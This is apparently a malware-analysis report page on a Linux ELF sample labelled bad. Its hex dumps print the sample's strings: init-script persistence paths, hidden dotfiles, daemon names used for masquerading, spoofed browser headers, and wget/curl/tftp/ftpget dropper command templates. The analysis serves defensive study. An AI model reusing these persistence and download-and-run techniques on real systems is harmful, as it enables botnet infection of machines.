AI
Linux malware with persistence and C2
Local reference
Suspicious dependency
Inferred
Mal-ecule
O₃(PC₂Er₃)H₅(Cm₁₃DbF₁₄Os₂Po₅)Md₃(BiBkHe)
Hidden multi-surface Linux init persistence templates: titanjr.spc:0xaee0
Multi-protocol payload dropper (wget/tftp/ftpget/curl): titanjr.spc:0xc698
Hidden dotfile path directly under /tmp: titanjr.spc:0xaef8
| 0x977 | 1812000000000002820002cc20000000 | ............ ... |
| 0x987 | 8c120000000000028e0002cc2c000000 | ............,... |
| 0x997 | 4c12000000006c6962632e736f2e3000 | L.....libc.so.0. |
| 0x9a7 | 636c6f636b5f67657474696d65007374 | clock_gettime.st |
| 0x9b7 | 72637079007761697470696400726563 | rcpy.waitpid.rec |
| 0x9c7 | 7600636f6e6e65637400736967656d70 | v.connect.sigempPOSIX shell with socket fd redirection |
| 0x9d7 | 7479736574006d656d6d6f766500736e | tyset.memmove.sn |
| 0x9e7 | 7072696e7466005f5f63747970655f62 | printf.__ctype_b |
| 0x9f7 | 0075736c656570006765747069640066 | .usleep.getpid.f |
| 0xa07 | 6765747300707263746c006d656d6370 | gets.prctl.memcp |
| 0xa17 | 7900657865636c00726561646c696e6b | y.execl.readlink |
| 0xa27 | 00647570320073797374656d002e7564 | .dup2.system..ud |
| 0xa37 | 6976006d616c6c6f630072656d6f7665 | iv.malloc.remove |
| 0xa47 | 0073636865645f736574736368656475 | .sched_setschedu |
| 0xa57 | 6c6572007265637666726f6d00737472 | ler.recvfrom.str |
| 0xa67 | 746f756c002e64697600736f636b6574 | toul..div.socket |
| 0xa77 | 0073656c656374007265616464697200 | .select.readdir. |
| 0xa87 | 696e6f746966795f696e697400736967 | inotify_init.sig |
| 0xa97 | 6164647365740073656e640063686d6f | addset.send.chmo |
| 0xaa7 | 64006163636570740073747272636872 | d.accept.strrchr |
| 0xab7 | 0063616c6c6f63006b696c6c00737472 | .calloc.kill.str |
| 0xac7 | 6361740062696e6400696e65745f6164 | cat.bind.inet_ad |
| 0xad7 | 647200636864697200736574736f636b | dr.chdir.setsock |
| 0xae7 | 6f707400667365656b00776169740075 | opt.fseek.wait.u |
| 0xaf7 | 6d61736b00737472737472007369676e | mask.strstr.sign |
| 0xb07 | 616c00696e6f746966795f726d5f7761 | al.inotify_rm_wa |
| 0xb17 | 746368007374726e63707900756e6c69 | tch.strncpy.unli |
| 0xb27 | 6e6b0073656e64746f007265616c6c6f | nk.sendto.reallo |
| 0xb37 | 6300666f726b00737363616e66006578 | c.fork.sscanf.ex |
| 0xb47 | 656376006672656164005f5f75436c69 | ecv.fread.__uCli |
| 0xb57 | 62635f6d61696e0073796d6c696e6b00 | bc_main.symlink. |
| 0xb67 | 666f70656e006d656d73657400737261 | fopen.memset.sra |
| 0xb77 | 6e640066636c6f736500676574707069 | nd.fclose.getppi |
| 0xb87 | 64006f70656e64697200737472636d70 | d.opendir.strcmp |
| 0xb97 | 002e7572656d002e72656d00696e6f74 | ..urem..rem.inot |
| 0xba7 | 6966795f6164645f7761746368006765 | ify_add_watch.ge |
| 0xbb7 | 74736f636b6f70740066777269746500 | tsockopt.fwrite. |
| 0xbc7 | 616363657373005f5f6572726e6f5f6c | access.__errno_l |
| 0xbd7 | 6f636174696f6e00657869740061746f | ocation.exit.ato |
| 0xbe7 | 69007374726c656e002e756d756c0063 | i.strlen..umul.c |
| 0xbf7 | 6c6f636b007374726368720073657473 | lock.strchr.sets |
| 0xc07 | 696400636c6f73656469720066636e74 | id.closedir.fcnt |
| 0xc17 | 6c00667265650073696770726f636d61 | l.free.sigprocma |
| 0xc27 | 736b00676574736f636b6e616d65005f | sk.getsockname._ |
| 0xc37 | 5f656e7669726f6e005f656461746100 | _environ._edata. |
| 0xc47 | 5f5f6273735f7374617274005f656e64 | __bss_start._end |
| 0xc57 | 000002ce4800000913000000000002ce | ....H........... |
| 0xc67 | 4c00002013000000000002c824000001 | L.. ........$... |
| 0xa458 | 4163636570742d4c616e67756167653a | Accept-Language: |
| 0xa468 | 20656e2d55532c656e3b713d302e3500 | en-US,en;q=0.5. |
| 0xa478 | 436f6e74656e742d547970653a206170 | Content-Type: ap |
| 0xa488 | 706c69636174696f6e2f782d7777772d | plication/x-www- |
| 0xa498 | 666f726d2d75726c656e636f64656400 | form-urlencoded. |
| 0xa4a8 | 436f6e74656e742d4c656e6774683a20 | Content-Length: |
| 0xa4b8 | 0000000000000000436f6f6b69653a20 | ........Cookie: |
| 0xa4c8 | 00000000000000003b20000000000000 | ........; ...... |
| 0xa4d8 | 0d0a0d0a000000005365727665723a20 | ........Server: |
| 0xa4e8 | 636c6f7564666c6172652d6e67696e78 | cloudflare-nginx |
| 0xa4f8 | 00000000000000005365727665723a20 | ........Server: |
| 0xa508 | 444f5361727265737400000000000000 | DOSarrest....... |
| 0xa518 | 436f6e6e656374696f6e3a2000000000 | Connection: .... |
| 0xa528 | 6b6565702d616c6976650000000000 | keep-alive..... |
| 0xa588 | 526566726573683a2000000000000000 | Refresh: ....... |
| 0xa598 | 75726c3d00000000504f535400000000 | url=....POST.... |
| 0xa5a8 | 7365745f636f6f6b6965000000000000 | set_cookie...... |
| 0xa5b8 | 27000000000000003d00000000000000 | '.......=....... |
| 0xa5c8 | 4d6f7a696c6c612f352e302028583131 | Mozilla/5.0 (X11 |
| 0xa5d8 | 3b204c696e7578207838365f36342920 | ; Linux x86_64) |
| 0xa5e8 | 4170706c655765624b69742f3533372e | AppleWebKit/537. |
| 0xa5f8 | 333620284b48544d4c2c206c696b6520 | 36 (KHTML, like |
| 0xa608 | 4765636b6f29205562756e7475204368 | Gecko) Ubuntu Ch |
| 0xa618 | 726f6d69756d2f33372e302e32303632 | romium/37.0.2062 |
| 0xa628 | 2e3934204368726f6d652f33372e302e | .94 Chrome/37.0. |
| 0xa638 | 323036322e3934205361666172692f35 | 2062.94 Safari/5 |
| 0xa648 | 33372e33360000004d6f7a696c6c612f | 37.36...Mozilla/ |
| 0xa658 | 352e30202857696e646f7773204e5420 | 5.0 (Windows NT |
| 0xa668 | 362e313b20574f57363429204170706c | 6.1; WOW64) Appl |
| 0xa678 | 655765624b69742f3533372e33362028 | eWebKit/537.36 ( |
| 0xa688 | 4b48544d4c2c206c696b65204765636b | KHTML, like Geck |
| 0xa698 | 6f29204368726f6d652f34352e302e32 | o) Chrome/45.0.2 |
| 0xa6a8 | 3435342e3835205361666172692f3533 | 454.85 Safari/53 |
| 0xa6b8 | 372e3336000000004d6f7a696c6c612f | 7.36....Mozilla/ |
| 0xa6c8 | 352e30202857696e646f7773204e5420 | 5.0 (Windows NT |
| 0xa6d8 | 362e313b20574f5736343b2054726964 | 6.1; WOW64; Trid |
| 0xa6e8 | 656e742f372e303b2072763a31312e30 | ent/7.0; rv:11.0 |
| 0xa6f8 | 29206c696b65204765636b6f00000000 | ) like Gecko.... |
| 0xa708 | 4d6f7a696c6c612f352e30202857696e | Mozilla/5.0 (Win |
| 0xa718 | 646f7773204e5420362e313b20574f57 | dows NT 6.1; WOW |
| 0xa728 | 36343b2072763a34302e302920476563 | 64; rv:40.0) Gec |
| 0xa738 | 6b6f2f32303130303130312046697265 | ko/20100101 Fire |
| 0xa748 | 666f782f34302e300000000000000000 | fox/40.0........ |
| 0xa758 | 4d6f7a696c6c612f352e3020284d6163 | Mozilla/5.0 (Mac |
| 0xa768 | 696e746f73683b20496e74656c204d61 | intosh; Intel Ma |
| 0xa778 | 63204f5320582031305f31305f352920 | c OS X 10_10_5) |
| 0xa788 | 4170706c655765624b69742f3630302e | AppleWebKit/600. |
| 0xa798 | 382e3920284b48544d4c2c206c696b65 | 8.9 (KHTML, like |
| 0xa7a8 | 204765636b6f292056657273696f6e2f | Gecko) Version/ |
| 0xa7b8 | 382e302e38205361666172692f363030 | 8.0.8 Safari/600 |
| 0xa7c8 | 2e382e39000000004d6f7a696c6c612f | .8.9....Mozilla/ |
| 0xa7d8 | 352e302028695061643b20435055204f | 5.0 (iPad; CPU O |
| 0xa7e8 | 5320385f345f31206c696b65204d6163 | S 8_4_1 like Mac |
| 0xa7f8 | 204f53205829204170706c655765624b | OS X) AppleWebK |
| 0xa808 | 69742f3630302e312e3420284b48544d | it/600.1.4 (KHTM |
| 0xa818 | 4c2c206c696b65204765636b6f292056 | L, like Gecko) V |
| 0xa828 | 657273696f6e2f382e30204d6f62696c | ersion/8.0 Mobil |
| 0xa838 | 652f313248333231205361666172692f | e/12H321 Safari/ |
| 0xa848 | 3630302e312e34004d6f7a696c6c612f | 600.1.4.Mozilla/ |
| 0xa858 | 352e30202857696e646f7773204e5420 | 5.0 (Windows NT |
| 0xa868 | 362e333b20574f57363429204170706c | 6.3; WOW64) Appl |
| 0xa878 | 655765624b69742f3533372e33362028 | eWebKit/537.36 ( |
| 0xae60 | bede0003907800000000000000000000 | .....x.......... |
| 0xae70 | bede0003807800000000000000000000 | .....x.......... |
| 0xae80 | bede0004907800000000000000000000 | .....x.......... |
| 0xae90 | bede0005000000002f70726f63000000 | ......../proc... |
| 0xaea0 | 2f70726f632f25642f636d646c696e65 | /proc/%d/cmdline |
| 0xaeb0 | 00000000000000007200000000000000 | ........r....... |
| 0xaec0 | 696e69740000000073797374656d6400 | init....systemd. |
| 0xaed0 | 75646576640000007373686400000000 | udevd...sshd.... |
| 0xaee0 | 2f746d702f2e696e7374616e63655f6c | /tmp/.instance_lHidden multi-surface Linux init persistence templates |
| 0xaef0 | 6f636b00000000002f746d702f2e7379 | ock...../tmp/.syHidden dotfile path directly under /tmp |
| 0xaf00 | 73640000000000002f7661722f72756e | sd....../var/runHidden persistence indicators |
| 0xaf10 | 2f2e7379736400006370202573202573 | /.sysd..cp %s %s |
| 0xaf20 | 00000000000000006b776f726b657200 | ........kworker. |
| 0xaf30 | 2f70726f632f73656c662f6578650000 | /proc/self/exe.. |
| 0xaf40 | 2f70726f632f25642f65786500000000 | /proc/%d/exe.... |
| 0xaf50 | 2f7573722f62696e2f2e736800000000 | /usr/bin/.sh.... |
| 0xaf60 | 6370202573202f7573722f62696e2f2e | cp %s /usr/bin/. |
| 0xaf70 | 73680000000000002f6574632f72632e | sh....../etc/rc. |
| 0xaf80 | 6c6f63616c000000722b000000000000 | local...r+...... |
| 0xaf90 | 2f6574632f696e69742e642f73797364 | /etc/init.d/sysd |
| 0xafa0 | 00000000000000007700000000000000 | ........w....... |
| 0xafb0 | 23212f62696e2f73680a2f7573722f62 | #!/bin/sh./usr/b |
| 0xafc0 | 696e2f2e736820260a00000000000000 | in/.sh &........ |
| 0xafd0 | 2f6574632f7263322e642f5339397379 | /etc/rc2.d/S99sy |
| 0xafe0 | 73640000000000002f7573722f62696e | sd....../usr/bin |
| 0xaff0 | 2f2e736820260a002f6465762f6e756c | /.sh &../dev/nul |
| 0xb000 | 6c000000000000002f70726f632f2564 | l......./proc/%d |
| 0xb010 | 2f66642f300000006462757300000000 | /fd/0...dbus.... |
| 0xb020 | 727379736c6f67640000000000000000 | rsyslogd........ |
| 0xb030 | 63726f6e000000006765747479000000 | cron....getty... |
| 0xb040 | 6468636c69656e740000000000000000 | dhclient........ |
| 0xb050 | 6e7470640000000069707461626c6573 | ntpd....iptables |
| 0xb060 | 00000000000000006e6574776f726b64 | ........networkd |
| 0xb070 | 00000000000000007770615f73757070 | ........wpa_supp |
| 0xb080 | 6c6963616e7400007379736c6f676400 | licant..syslogd. |
| 0xb090 | 6b6c6f67640000006c6f67696e000000 | klogd...login... |
| 0xb0a0 | 0001aec00001aec80001aed00001b018 | ................ |
| 0xb0b0 | 0001aed80001b0200001b0300001b038 | ....... ...0...8 |
| 0xb0c0 | 0001b0400001b0500001b0580001b068 | ...@...P...X...h |
| 0xb0d0 | 0001b0780001b0880001b0900001b098 | ...x............ |
| 0xb0e0 | 2f70726f632f25642f66640000000000 | /proc/%d/fd..... |
| 0xb0f0 | 25732f2573000000736f636b65743a5b | %s/%s...socket:[ |
| 0xb100 | 0000000000000000736f636b65743a5b | ........socket:[ |
| 0xb110 | 25755d00000000002f70726f632f2564 | %u]...../proc/%d |
| 0xb120 | 2f737461740000002f70726f632f6e65 | /stat.../proc/ne |
| 0xb130 | 742f746370000000252a643a20253634 | t/tcp...%*d: %64 |
| 0xb140 | 5b302d39412d46612d665d3a252a7820 | [0-9A-Fa-f]:%*x |
| 0xb150 | 252a7320252a7320252a7320252a7320 | %*s %*s %*s %*s |
| 0xc638 | 2f7661722f72756e2f00000000000000 | /var/run/....... |
| 0xc648 | 2f6d6e742f0000002f726f6f742f0000 | /mnt/.../root/.. |
| 0xc658 | 2f7661722f0000002f7661722f746d70 | /var/.../var/tmp |
| 0xc668 | 2f000000000000002573257300000000 | /.......%s%s.... |
| 0xc678 | 7767657420687474703a2f2f25732f25 | wget http://%s/% |
| 0xc688 | 732f2573202d4f202573000000000000 | s/%s -O %s...... |
| 0xc698 | 6375726c202d6f20257320687474703a | curl -o %s http:Multi-protocol payload dropper (wget/tftp/ftpget/curl) |
| 0xc6a8 | 2f2f25732f25732f2573000000000000 | //%s/%s/%s...... |
| 0xc6b8 | 74667470202573202d63206765742025 | tftp %s -c get % |
| 0xc6c8 | 73202573000000006364202573202626 | s %s....cd %s && |
| 0xc6d8 | 2074667470202d67202d722025732025 | tftp -g -r %s % |
| 0xc6e8 | 7300000000000000667470676574202d | s.......ftpget - |
| 0xc6f8 | 76202d7520616e6f6e796d6f7573202d | v -u anonymous - |
| 0xc708 | 7020616e6f6e796d6f7573202d502032 | p anonymous -P 2 |
| 0xc718 | 31202573202573202573000000000000 | 1 %s %s %s...... |
| 0xc728 | 00000000ffffffff00000000ffffffff | ................ |
| 0xc738 | 00000000000000000000000100000001 | ................ |
| 0xc748 | 0000000c000110840000000d0001a398 | ................ |
| 0xc758 | 0000000400010108000000050001099c | ................ |
| 0xc768 | 000000060001039c0000000a000002bc | ................ |
| 0xc778 | 0000000b000000100000001500000000 | ................ |
| 0xc788 | 000000030002c7f40000000200000414 | ................ |
| 0xc798 | 0000001400000007 | ........ |
Objectives
Micro-behaviors
Metadata
notable severity, 100% confident.
build
ELF omits compiler metadata (.comment)
20 of 31 traits shown
Identity
| SHA-256 | 05c3bbb7cadedbfb94a6b3f8f3ead70b341e29c9e49e9ec3733761141051f447 |
|---|---|
| Filename | titanjr.spc |
| Package | 05c3bbb7cadedbfb94a6b3f8f3ead70b341e29c9e49e9ec3733761141051f447 |
Origin
| Source | harvest |
|---|---|
| Feed | malwarebazaar |
| Ecosystem | linux |
| Domain | abuse.ch |
Timeline
| First seen | 4 Aug 2026 08:31 UTC |
|---|---|
| First analyzed | 5 Aug 2026 10:37 UTC |
| Last analyzed | 5 Aug 2026 10:37 UTC |
| Last updated | 5 Aug 2026 10:37 UTC |
Labeling
| Label | bad |
|---|---|
| Label source | harvest |
| Traits version | b5ca8 |
Not seeing what you expected? Let us know